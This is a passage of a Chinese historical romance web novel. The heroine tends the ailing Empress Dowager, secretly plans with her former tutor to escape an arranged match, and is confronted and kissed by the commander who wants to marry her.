她出宫之前,就听沈绎说过,太后的身子愈发不好,夜里不能安睡,白日里精神不济,恐怕熬不到入冬。 周氏抹了眼角的泪,掀了珠帘出去,片刻后端来一碟果盘,道: “娘娘一早吩咐人备了姑娘爱吃的瓜果,你先坐着吃一些吧。” “多谢嬷嬷。” 纪云瑟应声坐下,用帕子擦去脸颊上的湿润,周氏看着她露出一丝笑: “昨日世子爷来了,说起与姑娘的事,太后高兴得跟什么似的。” 纪云瑟垂眸,羞涩一笑,周氏道: “咱们世子爷看着面冷不好亲近,实则最是稳妥可信之人,看得出来,世子爷很是喜欢姑娘,姑娘的福气还在后头呢!” 正说着话,太后悠悠转醒,看见身旁的明媚俏丽的面孔,露出一丝笑: “纪丫头来了?” 纪云瑟行跪拜礼: “臣女给太后请安,太后万福。” “快起来。” 周嬷嬷扶着太后坐直了一些,纪云瑟起身为她将引枕放好,一同扶着她轻轻靠了上去,又将被衾重新整理掖平整。 太后拍了拍身侧,柔声道: “别忙了,坐下说话。” 纪云瑟见太后咳嗽了两声,忙给她喂了两口水。 太后向她摆摆手,自己擦了擦唇角,细细看了她一眼,笑道: “你这丫头,谁承想转来转去,最后还是得叫哀家一声皇祖母。” “子睿那孩子也是,既然对你有意,应该早些和哀家说,也省得哀家白操了这些心。” “娘娘……” “其实,世子他,我们也是…臣女出宫后…” 纪云瑟低下头垂眸不好再说下去,想到她曾经的那些说不出口的算计心思,在这位真心疼爱她的长辈面前,心中有些羞愧。 但这副模样落在太后眼中,却是女儿家的娇羞,她拍了拍纪云瑟的手背,笑道: “在哀家面前,有什么不好意思的?” 周氏也在一旁笑道: “娘娘还总说不知世子爷的姻缘在哪儿,谁知,就在眼前呢!” “您看,多般配呐!” “别的不说,以后姑娘和世子爷生的孩子,得漂亮成什么样儿?” 太后更是藏不住笑纹,见纪云瑟垂首不语,拉着她的手道: “子睿是哀家带大的,你放心,断不会欺负你。” “但他若是有哪里做得不周的,你也别怕他,只管来告诉我,我替你做主!” 说着,又叹了口气,缓声道: “只可惜,我这身子,咳…咳…,也不知能不能熬到看你们成婚。” 纪云瑟忙道: “您会长命百岁的!” 太后无奈摇摇头笑道: “你这丫头,只会说话哄我开心。” 纪云瑟随手为她捶着腿,宽慰她道: “听说贵妃娘娘有孕了,娘娘您合该好好养身子。到时,还得您亲自教养小皇子呢!” 说起孙雪沅,太后面露欣慰之色,道: “贵妃也是个好的,怨不得她有福,才册封多久就怀上了。” 又说到孙雪沅每日勤谨地过来请安侍奉,亲历亲为,任劳任怨,对后宫诸人也宽厚,不仅太后对她满意,有些常年受冷遇的低阶嫔妃得到她的关怀照顾后,也对她敬重有加。 “她小小年纪不恃宠而骄,能做到这般,哀家倒是对他刮目相看。” 太后向纪云瑟道: “她身子不便,哀家就没让她每日都来,又热又熏了药气,你从前与她交好,今日入宫,也去瞧一瞧她吧!” 纪云瑟答应着,周嬷嬷就端了药过来,道: “娘娘,该喝药了。” 见太后眉头一皱,纪云瑟上前接过药碗,哄道: “娘娘先喝药,再吃两粒蜜饯就不苦了。” 她熟练地舀起一勺,放在嘴边吹了吹便送到了太后唇边,太后笑着饮尽,向一旁的周氏道: “还是我这未来的孙媳妇喂的香甜些。” 纪云瑟闻言也不扭捏,继续吹凉了一口给她喂过去,笑道: “娘娘若是不嫌弃臣女,觉得臣女服侍得好,那臣女可要赖在这儿陪娘娘了。” 太后最喜欢她这样不娇柔造作的性子,道: “我巴不得呢!” “就是怕子睿埋怨我,累着你了!” “娘娘……” 纪云瑟娇羞一笑,将整晚药喂完,才拣了个蜜饯给太后,又给她轻轻擦了擦唇角,就听见殿外有小宫女报, “禀娘娘,沈太医过来了。” 沈绎挎着药箱步入殿内,看见纪云瑟,愣了一瞬,随即弯起唇角向她颔首。 纪云瑟见他要给太后行针,便在东侧外间等候。不多时,沈绎掀了珠帘出来,向她道: “来了?” 纪云瑟微微一福,点点头,道: “来看看娘娘,夫子近来可好?” 沈绎展眉一笑,道: “都好,我还得赶着去凤仪宫,你……” 纪云瑟闻言,道: “我也想去看看贵妃娘娘,跟您一道去吧!” 她进入内室,见太后又睡了,便向周嬷嬷说了一声,与沈绎一同步出寿康宫。 二人并肩走在宫道一侧,日光透过稀疏的叶隙洒落在少女莹白无瑕的俏脸上,沈绎侧头看了她一眼,道: “出宫后,似乎倒是清减了一些?” 纪云瑟抚了抚双颊,扯唇一笑: “没有吧?” 最多就是家里日日吃素,她又不敢总偷偷开小灶,自然瘦了。 沈绎自是听说了她出宫后的一些传闻,虽知她素日不是个容易被无聊之事扰乱心神之人,但毕竟只是个十几岁的小姑娘,便温言安慰道: “别人说什么,不必太在意。” “真心待你之人,并不会被传言所左右。” 只要远离这座吃人的皇宫,就是好的。 纪云瑟看着他如玉琢般的侧颜,粲然一笑: “多谢夫子,我知道。” 沈绎又细细打量了她,见她面色红润自然,看起来没有休息不佳夜不能寐的症候,也放下心来。 凤仪宫离寿康宫有些远,二人闲聊了几句,拐上一处曲廊时,纪云瑟见四周没什么人,放低了声量,道: “夫子,我想问问,话本子里说的假死药,真的有么?” 沈绎被她的话惊住了,停下脚步,紧紧看着两只手扭着腰间荷包穗子的少女,沉声问道: “你想做什么?” 纪云瑟低下头思虑片刻,咬了咬唇,道: “我想离开京城。” “永远…不回来…” 她不想对沈绎说谎,不光是因为他看着她长大,总是能识破她的谎言,更是因为,一直以来,他都是她除了崇陶效猗和方叔之外,无条件最信任的人。 “为何?” 沈绎自是诧异,纪云瑟也不瞒他,实话实说了他如今章齐侯府的处境,和父亲的打算。 沈绎的手不自觉握紧了药箱,他虽一直知晓这小姑娘在家中的境遇,并不得其父欢心,但也无法想象纪筌会做出一而再再而三牺牲长女,拿去换阖府荣华的事。默了默,他问道: “那你和晏时锦……” “昨日,他特来寿康宫,说要与你议亲时,我恰在给太后艾灸。” 纪云瑟踢着脚下的石子,直言道: “我从未想过嫁与他。” “我们不合适。” 从前,她招惹晏时锦,一些是利用,一些是以为他不近女色,觉得逗他有趣,还有一些,或许是一时被他美色所迷,但冷静下来,她仔细想过,她并不是真的多喜欢他,更谈不上爱慕。 而且,她也觉得,那厮也不一定就是有多爱她。一则是惑于她的容貌,还有,多半是被她的刻意招惹打动,一时情迷而已,若是她离开,经过些时日消磨,晏时锦会认识别的女子,自然一切烟消云散。 沈绎的眸光微不可察地动了动,甚至连他自己都不清楚到底此刻是怎样的情绪,只道: “其实,他于你而言,算是良配。” 他虽不喜晏时锦的高傲冷漠和他不近人情的行事作风,但不得不承认,多年没有任何风流韵事传出,他的人品应该信得过,况且,他既在太后面前亲口承认对纪云瑟的喜爱,并说要上门提亲,就会对她负责。 而且,以他的身份地位,定能护着纪云瑟。 纪云瑟摇了摇头: “我不想嫁人。” 更不想到国公府去,每日看人脸色,过可以想见的憋闷生活。 沈绎愣了愣,却没有再劝,问道: “你先告诉我,你有何打算?” 纪云瑟反应过来他又回到了逃离京城的话题,实话实说道: “我还没想好。” 应该说,她并没有想到什么万全之策。 她若是直接逃走肯定不行,别说她父亲是侯爵身份,瘦死的骆驼比马大,总是有些人脉势力,单说如今的晏时锦已经把话放出去了,必然不会轻易放过她。 他身为京卫司指挥使,把她抓回来不过是小菜一碟。 所以,她想到了话本子里的假死药。 若是她身“死”,他们自然会放过她。 沈绎深深看了她一眼,道: “假死药或许能配制出来,但是,不能轻易服用。” 纪云瑟倒是眸光一亮,道: “真的有?” 沈绎道: “我虽未亲见,但可以猜到,此药的原理就是让人暂时失去脉象和呼吸,或者说,保持极其微弱的呼吸和极其缓慢的心跳,但一般人感受不到,或能瞒过一时。” “但是,这类药材会对身体造成不可逆转的损伤,不是危急之时,绝不能用。” 他扫过纪云瑟有些期待的目光,直言道: “我不可能为你配这种药。” 纪云瑟面露失望之色,沈绎看着她无精打采的模样,微微叹了一口气,无可奈何道: “你若真想离开,或许,我能想别的办法。” 纪云瑟激动之下,抓住他的手臂,道: “夫子真的愿意帮我?” 沈绎的目光扫过她搭在自己衣袖上的嫩白小手,舒展了眉尾,郑重地向她点点头: “不错,但你必须答应我,不能自作主张,一切要与我商量。” 纪云瑟听话地点点头,顿时觉得人生有了希望,这些时日的阴霾一扫而光,沈绎看了眉开眼笑的少女一眼,唇角不自觉弯起: “快走吧,贵妃正等着呢!” 二人行至凤仪宫,已有宫人等在外,恭敬地请二人进去: “娘娘得了信儿,特地让奴才在这里等着纪姑娘。” 二人进入殿中,孙雪沅端坐在一旁偏殿的罗汉床上,看见纪云瑟便笑盈盈地起身要过来迎她,纪云瑟忙行礼,道: “臣女拜见贵妃娘娘!” 孙雪沅过来扶起她,道: “你我之间,何必如此见外?” 纪云瑟笑道: “礼不可废,知道的会说娘娘您宽宏不计较,不知道的定是说臣女不懂规矩了。” 孙雪沅无奈摇了摇头,吩咐人看座,纪云瑟便坐在她下手的一张圈椅上,细细地打量她,只见她身着一件家常对襟短褙子,绾了一个简单的螺髻,簪着几支素金钗,打扮虽素净,却透着高贵娴静。 似乎与从前相比,脸圆润了些,身量也更加丰腴,颇有几分年轻少妇的韵味。 沈绎从药箱中取出小软枕,放在孙雪沅身侧的小几上,恭敬道: “娘娘,微臣给您请脉。” 孙雪沅伸出手,由沈绎隔着衣袖切上她的手腕,回头看到纪云瑟凝视她的目光,抚着脸羞涩一笑: “云瑟,你总盯着我做什么?” 纪云瑟一笑: “娘娘风姿绰约更胜从前,臣女忍不住就多看了两眼,娘娘莫怪。” 孙雪沅红了脸,正要嗔她几句,却见沈绎诊脉完毕,收起软枕,道: “娘娘胎象很好,不知这两日饮食和睡眠如何?” 孙雪沅只得先回答他,想了想,道: “夜里睡着有些热,东西也不大想吃,总觉着味道不对,时常泛恶心,这样正常么?” 沈绎笑道: “娘娘怀孕不到三个月,尚属孕早期,有些害喜的反应无碍,您爱吃的可以多吃一些,不想吃的就不吃。” “孕期的女子多了腹中胎儿的热量,会有些惧热,晚间睡觉时,娘娘可以适当在殿内放些冰,以能舒适入睡为准。” “总而言之,只要娘娘您吃好睡好,腹中皇嗣便能养好。” 说罢,看了一眼纪云瑟,俯身行礼告辞道: “微臣这就回去给您准备安胎药送来。” 孙雪沅的药,都是永安帝特地嘱咐了,从开方到抓药熬药和送药,全程由沈绎一人负责,中途不让任何人过手,沈绎自不敢怠慢。 说罢,他整理挎上药箱出了殿门。 孙雪沅摒退了宫人,终于没有了拘束,拉着纪云瑟坐在她的身旁,两人闲话了一回,说了各自的近况,纪云瑟有些好奇地盯着她尚算平坦的小腹,道: “这里面真的有个小娃娃?” 孙雪沅笑了笑,把她的手放在自己腹部,道: “你摸摸看。” 纪云瑟被她抓着的手犹豫了一下,轻轻地搭上去,用心感受着,兴奋道: “他在动,是不是?” 孙雪沅扑哧一笑: “哪有这样快,我还没感觉到动呢!” 两人调笑了一回,纪云瑟方想起一件事,问道: “听说,丁香留在你宫里了?” 孙雪沅道: “是呢,她有个要紧事出去了,一会儿回来。说到这个,我还得多谢你,丁香如今是我宫里的掌宫,人机灵又稳妥,幸亏有她在,我才能少操些心。” 纪云瑟也想起了夏贤妃从前的一些手段,但不好跟她明说,便道: “你如今有了身孕,嫔妃们都盯着你的肚子,暗箭难防,凡事需仔细些。” “丁香在长春宫多年,见的世面多,她应该能帮上你。” 说话间,掀帘声响起,就见丁香走了进来,看见纪云瑟,小跑着行至她面前激动地唤了一句: “姑娘!” 纪云瑟朝她伸手,她才方觉自己忘了给孙雪沅行礼,又急急忙忙地补了礼: “娘娘恕罪,奴婢失礼了。” 孙雪沅笑道: “是看见‘旧人’忘了我这个‘新人’吧!” 纪云瑟看向她一笑: “你也学着贫嘴滑舌了!” 纪云瑟见丁香身着掌宫服饰,一身威严十足的女官模样,再不是那个从前低眉垂眼的小宫女,不禁感叹: “还是贵妃娘娘会调教人呢!” 又说笑了一回后,纪云瑟告辞,丁香送她出来,她见四周无人,向丁香道: “夏贤妃没有再为难你了吧?” 丁香摇摇头,淡笑道: “奴婢如今在贵妃娘娘身边,没人敢为难。” 纪云瑟若有所思地颔首道: “那倒是,贵妃如今已是后宫之主。” “但是,贵妃的性子,你也知道,最是个单纯和善的,恐怕有些事,还需你替她多费心。” 说罢,指了指长春宫的方向,丁香听懂了她的话,道: “姑娘放心,奴婢明白。” 纪云瑟道: “特别是贵妃如今有了身 孕,你在宫里时日不短了,后宫的伎俩必定比我还清楚。” 丁香定然道: “姑娘不必担心,奴婢的命是姑娘救的,贵妃娘娘又如此抬举奴婢,奴婢必会好好报答,为娘娘打点。” 纪云瑟又随口问起她的那位守卫相好,丁香赧颜一笑,道: “奴婢都忘了同姑娘说,那日跟您说起他因救人没有及时参加比试,谁知没几日,就有羽林卫的副统领特意找到他,说有个临设的外职在招考,虽不算正式的羽林卫,但若是日后表现得好,便可优先录用。” “王武去试了试,一下竟考上了,如今还得了重用,时常跟着谢统领办案呢。” “奴婢估摸着,定是姑娘您为他争取的吧?” 纪云瑟一下愣住,她从前好像是和晏时锦提过此事,那厮当时一副铁面无私的模样,害得她还以为他不肯通融,和他吵了一架。 谁知,他竟然真的周全了此事,可是那时,他们明明还没有什么。 细细想来,她其实一点儿都不了解晏时锦。 不过,如今她既打定主意离开京城,也不需要去了解了。 日光渐斜,投下一个纤袅的身影在长长的宫道上,纪云瑟回头看了一眼那片红墙金瓦,角楼飞檐,毫不犹豫地疾步离开。 第68章 城东的章齐侯府,纪筌早早地散值归来,径直步入正房,魏氏给他宽下官服,奉上一碗茶。 纪筌饮了一口,面上有些不悦,道: “前两日不是吩咐你把府里上下休整一下么?” “怎的今日瞧着一点儿变化都没有?” 魏氏脸上无甚表情,道: “我已经让人找花匠和修缮工人去了,但一时之间,哪里能找到合适的?” 纪筌看了她一眼,搁下茶碗,道: “多使些银子,有什么找不到的?” “太后赏下来的那些料子,你们娘儿几个得穿到何时?白放着也是发霉,拿些去变卖了就是。” 魏氏张了张口,最终应了一声“是。” 纪筌瞧出了她的心思,语重心长道: “这些都是该花的银子,晏国公府若是来提亲,咱家总不能太寒酸,让他们看轻了。” 魏氏扯了扯唇角,声音倒是平静的,道: “侯爷真的笃定,晏家会来提亲?” 纪筌道: “那是自然,晏时锦他当众对瑟儿说了那些话,咱们也不是平头百姓,都是有脸面之人,他敢不负责?更何况,今日太后又宣了瑟儿入宫,不就是说这件事?” 魏氏也不知是何心情,只淡淡道: “婚姻大事总归是父母之命媒妁之言,晏国公府的老夫人,从前可是瞧上了成国公家的大小姐,跟咱们家一个天上一个地下。” “我看,他家长辈不能轻易同意。” 纪筌觑了她一眼,道: “这你就不懂了。” “如今,晏时锦虽只是世子,但国公府的庶务大多已交给他打理,更何况他是陛下的亲外甥,他的婚事,晏国公都不一定能做主,他家老太太又能置喙什么?” 魏氏倒不那么乐观,道: “若是说到陛下,侯爷别忘了,从前瑟儿可是太后打算送入后宫的。” 至少在很多人认为,纪云瑟就是半个陛下的女人了,做为天子,他会轻易同意自己的外甥娶一个差点成为嫔妃的女子? 纪筌面露一丝不悦: “你胡说什么?瑟儿连陛下的面都没怎么见,陛下对她一点儿心思都没有。” 魏氏想到晏时锦对纪云瑟说话的态度和语气,又在众目睽睽之下,亲自带着她骑马,不禁撇了撇嘴,道: “前些时日的传闻,侯爷又不是没听说。” “连带着咱们和惜儿,都有不少闲言碎语。” “就这样,他们晏国公府会让瑟儿进门?” 纪筌眉头一皱,神色不悦地看过来: “你也知道是传闻,还提这个做什么?” “再说,晏时锦时常入宫,在陛下和太后跟前行走,他会不知道真相?” “他若是在意,就不会瞧上瑟儿了。” 魏氏微不可察地轻哼了一声,道: “如今只是一时新鲜,久了可就不一定了。哪个男人会容忍日后的正房夫人有这样的污点?” 纪筌终于听出了她话中的其他意味,微眯双眼,目光直直地盯了过来: “你什么意思?” “不想瑟儿嫁给晏时锦?” “还是觉得,我的长女,不配做他国公世子的正妻?” 魏氏见他露出少有的肃厉目光,浑身一凛,忙解释道: “怎么可能?” “我不也是替瑟儿着急,怕她受委屈么?” “瑟儿若是能嫁入国公府,咱们家,还有惜儿,文远文达两兄弟,都有指望了不是?” 纪筌深深地看了她一眼,方道: “知道就好。” “这些时日,做事谨慎些。” “还有……” 他顿了顿,拿起方桌上的一本书看起来,似不经意地继续道: “惜儿有什么吃的用的,记得也给瑟儿送去一份。” “这是你做母亲的本分,从前她虽不计较,但眼看着要出嫁了,让她多念着你的好。” 魏氏张了张口,刚想辩驳,说几件自己身为继母为纪云瑟做的事,却什么也说不出来,不由得腹诽,也不知他这个当父亲的,又为自己从未养在跟前的长女做了什么。 她神情不耐地暗暗在袖中攥了攥拳,片刻后松开,终是温声应道: “是,侯爷,我知道了。” 虽心里不高兴,但道理她明白,不为别的,就为那丫头真做了世子夫人后,能有心帮衬着弟妹。 正说着话,屋外有婢女道: “大姑娘回来了。” 接着是纪云瑟的声音: “父亲和母亲在家么?” 纪筌舒展了面容,放下手中的书,隔着槛窗向外道: “瑟儿,进来吧。” 魏氏也换上笑容行至门口,亲昵地迎了她进门,柔声唤道: “瑟儿……” 纪云瑟向纪筌二人微微一福: “父亲,母亲,我回来了。” 纪筌指着身旁的圈椅,温声道: “坐下说话。” “太后娘娘都跟你说了什么?” 早有婢女捧了茶过来,纪云瑟饮了一口,放下茶碗,答道: “娘娘不过是问问女儿的近况,闲聊几句。” 纪筌歪头看向她,满脸的期待清晰可见: “没有说别的?” 纪云瑟垂眸羞涩道: “娘娘说,晏世子已经向她老人家禀明我俩的事。” 纪筌眼角的笑纹藏不住,看了一眼若有所思的魏氏,深深点了几下头,道: “好,好,如此就好!” “有太后关照,还有为父替你周全这门亲事,瑟儿你尽管放心。” 纪云瑟扫过他们两人溢出眼眸的喜悦,微微叹了口气,道: “不过,太后说,晏世子的婚事她和陛下恐怕做不了主,还得看晏国公…” 她顿了顿,清晰地捕捉到了他们的紧张后,继续道: “国公爷又最听他家老夫人的,故而,最终做主的,兴许还是晏老夫人。” 纪筌看了面露几分意料之中的魏氏一眼,端起手边的茶碗,喝了一口茶,道: “倒也…未必。” 纪云瑟抿了抿唇,似思虑了片刻后,方道: “有一件事,女儿本应向父亲母亲说明的,但是……” 她看了他们两个各异的神色一眼,掏出绢帕掩面轻声抽泣了起来,纪筌眉心一跳,忙问道: “瑟儿莫哭,究竟什么事?” 纪云瑟哽咽了几声,哭诉道: “母亲那日让女儿出门裁衣裳,谁知我刚从绸缎庄出来 ,就被晏老夫人请了去。” 纪筌一顿,差点摔了茶碗,他赶紧放下,问道: “老太太找你说什么?” 纪云瑟泣声道: “她说我这般出身,又什么闺阁技艺都不会,还敢肖想她家世子爷,简直痴心妄想!” 她用帕子遮住脸,不断抽泣着,又偷偷透过缝隙观察他们二人的神色。 魏氏的心里自是矛盾的,想到纪云瑟真能嫁给国公世子,她确实心里不平衡,总觉得心里憋屈忿闷,但真听这丫头亲口说晏府嫌弃她,又不安起来,有种到嘴的鸭子飞了的遗憾。 纪筌更是眉心拧成了川字,突然涌起功败垂成的失落感,问道: “晏时锦,这几日可有见你?” 纪云瑟摇了摇头,用帕子擦了擦脸颊,微微叹了口气,: “今日听太后提起,说是国公府有什么要紧的庶务,国公爷都处理不了,非让世子赶着出城去了,还不知什么时候回来呢!” 纪筌自是明白了几分,但他毕竟在官场也混迹了几十年,并不是那等完全没有见识之辈,思索了片刻,道: “依为父看,太后说不能做主,恐是自谦而已。” “她老人家是堂堂太后,又是亲手抚养晏时锦长大的,说话总有分量。” “瑟儿你在家闲着也是闲着,太后既喜欢你服侍,不如,最近你就多往宫里跑一跑。” 他们不可能去说动晏国公和他家老太太,唯一能指望的就是太后,总之,这件事必须做成。 纪云瑟巴不得一声,但面上却不显露丝毫,抽抽嗒嗒地无奈点头应声: “是,父亲,女儿知道了。” 一则,她知晓太后的身子,的确想在最后一段时日多陪一陪老人家,再则,如此,她方能与沈绎经常见面,商量离京之事。 太后自是愿意常常看到纪云瑟,在她出宫时就赐了寿康宫的玉牌,方便她随时出入宫门。只是前段时日纪府被铺天盖地的传闻所扰,纪筌不问缘由,觉得就是纪云瑟言行不检点才招了那些流言蜚语,一气之下把她禁闭在筑玉轩,才一直没出门。 如今得了纪筌的令,她也不管其他,三天两头往外跑,除了入宫,就是私底下与方叔见面,交待他将京城的生意全部转手,购置的房宅园子也渐渐变卖,金银细软的运回扬州,做好不再回京城的准备。 ~ 寿康宫,沈绎如往常的时辰过来,周嬷嬷微微叹气,道: “娘娘今日这会子还未醒呢。” “无妨,我在此等一会儿。” 沈绎躬身应道。一旁帮太后盖上薄被衾的纪云瑟深深看了他一眼,沈绎会意,道: “大小姐瞧着似脸色不太好,你过来,我帮你诊诊脉吧。” 二人掀帘子而出,行至东面的偏殿,坐在圈椅上,沈绎搭着她的脉,纪云瑟环顾四周没什么人后,悄声问道: “夫子想到什么好法子了么?” 沈绎沉吟片刻,手指压实了些,道: “还…没有,” “大小姐…你真的打算……” 他深思熟虑之后,还是觉得这小姑娘的想法太过离奇,不可思议,他试图劝道: “若是你真的想,可以暂时离开,与你父亲说明,去外祖家小住,想必……” “我爹不会允准的!” 纪云瑟十分笃定父亲不可能放她走,撇撇嘴道: “我已经决定了,若是夫子不肯帮我,我只能自己想法子。” 沈绎一时情急,原本给她搭着脉的手顺势抓住了她的手腕,无奈道: “云瑟…” 纪云瑟刚欲开口,就见殿门处闪进一个高直的身影,幽深的黑眸斜扫过来,目光停在沈绎紧握着的嫩白小手上,眸色晦暗不明。 男子向二人走来,他身着黑色修身曳撒,英挺高隽,面色如往常一般淡漠,眸光幽冽,极具压迫感。 沈绎装作没瞧见,抓住少女欲抽回的手,重新换回切脉的动作,看向她认真道: “其他没什么,平日无需思虑太多即可,易惹心火。” 他收手起身,似突然看见了晏时锦,拱手行了个礼,淡然问候道: “见过指挥使。” 纪云瑟也起身,敛去眼中的一丝心虚,弯唇挤出一抹笑: “你回来了。” 她记得太后说他奉陛下之命出去办案,不是要过几日回京么?怎的提前了? 不知这厮有没有听见她和沈绎商议逃跑之事,她刻意压低了声量,应该没听见吧?就算听到了什么,她细细回忆着自己刚刚说的每一个字,论理,他应该猜不出他们说的是何意吧? 晏时锦扫过少女带着躲闪的目光,向沈绎道: “沈太医看起来很是清闲?” 沈绎平静地收起小软枕: “云瑟面色不好,下官给她瞧一瞧。” 他看向纪云瑟,目光不经意落在她腰上的香牌上,道: “这个也旧了,味道淡了许多,过两日我给你换个新的。” 见纪云瑟点头应了一声“好”,他向晏时锦微微颔首,便侧开身去往太后寝殿。 晏时锦拉住了少女的手,问道: “怎么了?哪里不舒服?” 纪云瑟迎上他关切的目光,淡笑道: “没有。” 她嗅到一丝危险的意味,不及思索便道: “你要去看太后娘娘吧?我还有事,先回去了。” 手被死死攥住,男子淡淡开口: “你最近不是每日都在这里?” “为何我一来,你就要走?” 纪云瑟眨了眨眼: “哪有?我不是刚想起,家里有些事,要,要赶回去嘛!” 晏时锦正待开口,却听见里间周氏的声音: “娘娘,您醒了。” 他松开了她,道: “在此等我。” 亲眼见她点头答应后,晏时锦方掀了帘子进入内室。纪云瑟瞧着晃动的珠帘后消失的背影,轻吁了一口气,也不想其他,轻手轻脚地自己掀了正殿的棉帘出去。 谁料,刚出来,就碰上被丁香小心搀着,过来请安的孙雪沅,她笑着唤了一句: “云瑟。” 纪云瑟淡笑着行礼,被孙雪沅拉着闲话了几句,又问道: “娘娘醒了么?你这是去哪儿?” 纪云瑟道: “刚醒了一会儿,贵妃进去看看吧,我正准备出宫回去。” 孙雪沅诧异道: “为何这样急?昨日你不是说今儿个没事,可以过来陪我么?” 纪云瑟扯了扯唇角,正准备寻个由头推辞溜走,就听见身后的脚步声,男子已经行至她身旁。 孙雪沅看着向自己抱拳行礼的晏时锦,颔首致意,一脸了然地向纪云瑟笑道: “我明白了,你去忙吧!” 纪云瑟: “……” 一道沉冽的目光落在她身上,男子语气平淡: “跟我过来。” 纪云瑟叹了口气,跟在他身后踏上穿山游廊,进入东侧的厢房内,门被关紧,光线骤暗,又是熟悉的感觉。 她转过身,扭着腰间香牌的流苏穗子: “你找我有何事嘛?” 这是什么话?没事就不能找她? 晏时锦没跟她计较,顺着她的手看向她的香牌,问道: “这是沈绎给你做的?” 纪云瑟松开了手,没明白他的话怎的忽然就转到了这里来,却并不觉得有什么好瞒的,实话实说道: “是啊!” “我小时候总惹蚊虫,沈…夫子就做了这个给我戴着。” “小时候?” 晏时锦的声量不由得松了松,纪云瑟点点头,看向自己的鞋尖: “对啊,你应该早就知道,他曾是我家的教书先生。” 晏时锦想起从前与沈绎打过的几次交道,若是从一个男子的角度去考虑一些事,他不禁问道: “你把他当老师,确定他就一定把你当学生么?” 纪云瑟愣了愣,一脸诧异地抬眸看向他: “什么意思?” 看来,她的确没有往那方面想,既如此,他也没必要刻意提醒她,适得其反。 晏时锦向她靠近了一步: “他是你敬重的师长,那我呢?” “为何,你与他可以无所顾忌地亲热耳语,却一见我就要逃跑?” 特别是她出宫后,他们连面都没见过几次,而且能明显感觉到她的疏离和抗拒。 纪云瑟听他说到“逃”这个字,眉心一跳,讪讪笑道: “哪有嘛,我…我是真的,突然想起,家中有些事嘛!” 晏时锦怎会轻易相信她的鬼话?微眯着黑眸看向她: “你实话告诉我,我在你心里算什么?” 见纪云瑟一时愣住无言,不知他为何突然问到这儿来了,她不是一直都掩饰得挺好?晏时锦又靠近了她一步: “是能帮你摆脱麻烦的救命稻草,还是,你闲来无事时聊以解闷的工具?” 她纵然是个狡猾的,但毕竟只是闺阁女儿,所谓的小心思小伎俩在他一个混迹官场见惯了尔虞我诈的男子看来,不过是雕虫小技。 很多事情都不必刻意细究,只需问一问想一想便能猜出原委。 纪云瑟被他迫近的森冷面容吓得后退了几步,抵在身后的博古架上,无法动弹: “你…说什么?” 晏时锦似不肯放过她,继续道: “比如,端阳那晚,你与我亲近,是药性发作的无可奈何,还是只想利用我遮掩你对夏贤妃的反击?” 纪云瑟愣愣地看着他,说不出一句话来,她怎么记得那晚的事情,他们已经掰扯清楚了? 晏时锦扫过目光中尽是恐慌的少女,问出了最关键的一句话: “你对我可有半分真心?” 纪云瑟咬了咬唇,觉得他的话既已说到这个份上,其实跟他说清楚也无妨,让他放弃与她议亲。 虽然她不是个品德高尚之人,但她也不想一直这样欺骗他,只是畏惧他的权势不敢得罪他,故而没有实话实说而已。 其实想来,他面上虽凶,但总归不是一个恶人,坦白说明后,他不至于会如何报复她。 她避开男子探寻的目光,抿了抿唇,开口道: “我,我正要跟你说,其实…我对你…” 阴影骤然覆下,“没有”二字尚未说出口,余下的话就被贴过来的温热唇瓣堵了个严严实实。 纪云瑟尚思索着,如果实话实说,这厮会怎样对她,是会直说自己的不满,怒斥她的始乱终弃,还是如从前一般不置一词拂袖而去? 却没有想到,他竟然直接吻了过来! “唔,你…” 她还想说什么,却已被男子趁势探入的舌尖勾住缠绕,动弹不得。 这番强势侵入,比从前的任何一次都要蛮横,纪云瑟被死死地抵在博古架上,本能地伸手去推开他,却反而被他钳住两只手腕按在她的头顶,又腾出另一只手扣在她的后脑,稳稳地拖住,不让她有偏开的机会。 见少女的喘息声愈发粗重,晏时锦才稍稍放松了她,从唇齿间吐出几个字: “想清楚再回答……” 纪云瑟被这阵狂风骤雨般的激烈吻得唇舌发麻,脑子也因呼吸不畅有些晕晕乎乎,她嗫嚅道: “我……” 刚说了一个字,喘出的气息又被男子吞下。 但是这一次,他柔和了唇舌,少了几分跋扈霸道,多了几分体贴深情,片刻后方松开她,托住她的脸颊,黑眸直视过来,却又带着深深的期待,哑声道: “只许回答有或没有。” 纪云瑟似被他的一阵温柔迷失了心智,又似被他完美的皮囊摄去了心魄,竟木然地点了点头: “有。” “是真心…” 她是个正常的女子,看见好看的男子自然做不到坐怀不乱,更何况,这厮的吻技…… 纵然如暴雨疾风,却是让她意外地觉得畅快。 她承认自己在某些时候,的确对这厮动了心,若不是他的身份地位摆在那儿,或者说,若他只是个身世不高的普通百姓,能满足她招赘婿的条件身份。 说不准,她会毫不犹豫,立刻拐了他一起私奔。 晏时锦不想再去追究她回答的这几个字的真假,也不想计较其中有几分真,几分假。 从他再也无法克制的情绪,和不容许听到否定答案的心态,已然明白,他们两个之间,他才是深陷其中的那一个,就算她全然骗他,他也能装作什么都不知道。 只要她的眼眸中时时装着的是他,她只属于他,他就甘之如饴,不去计较她还有什么别的小心思。 他抬手扶了扶她的发髻,温言道: “有些乱了。” 纪云瑟轻捶了他一拳,道: “都怨你!” 她将头上的珠钗取下,用嘴巴咬住,重新去整理发髻。 窗棂透过的亮光打在少女瓷白泛着红晕的脸颊上,娇柔含嗔的杏眸潋滟,她温婉绾发的动作,与记忆中的一个温馨场景瞬间重合。 男子一时情动,拿下她唇边的珠钗替她簪了上去。 纪云瑟摸了摸被他笨手笨脚再次弄乱的发髻,低声埋怨道: “我还以为你什么都会呢!” 男子瞬间听懂了她的话,目光重新落在她盈润微肿的双唇上,揽过她的细腰,俯首轻啄了一口她的唇瓣,道: “是说这个么?” 纪云瑟含羞瞪了他一眼,将鬓发重新整理好,就听他毫无波澜地道: “从前不会,与你探讨了几次后,无师自通了。” 纪云瑟: “……” 纵是她再厚颜,也觉得这个话题她无法接,只得弱弱道: “我能出去了么?” “我们在这里……” 晏时锦松开了她,擦了擦她唇边凌乱的唇脂,道: “你我久别重逢,自是情难自抑。” 纪云瑟已恢复了神智,无法再与他继续这般危险的话题,立刻就要离开,却再次被他箍紧: “不许再刻意躲着我!” 纪云瑟无奈扯出一抹笑: “我知道了。” 晏时锦道: “明日,我又要离开京城,大概需十来日方能回来,提亲之事,恐要延后。” 纪云瑟暗暗松了口气,乖巧笑道: “嗯,公务要紧,我等你回来。” 腰上的手依旧不肯松,纪云瑟委屈示弱地看着他,晏时锦挑了挑眉: “你那几分真心,可会抽空想想我?” 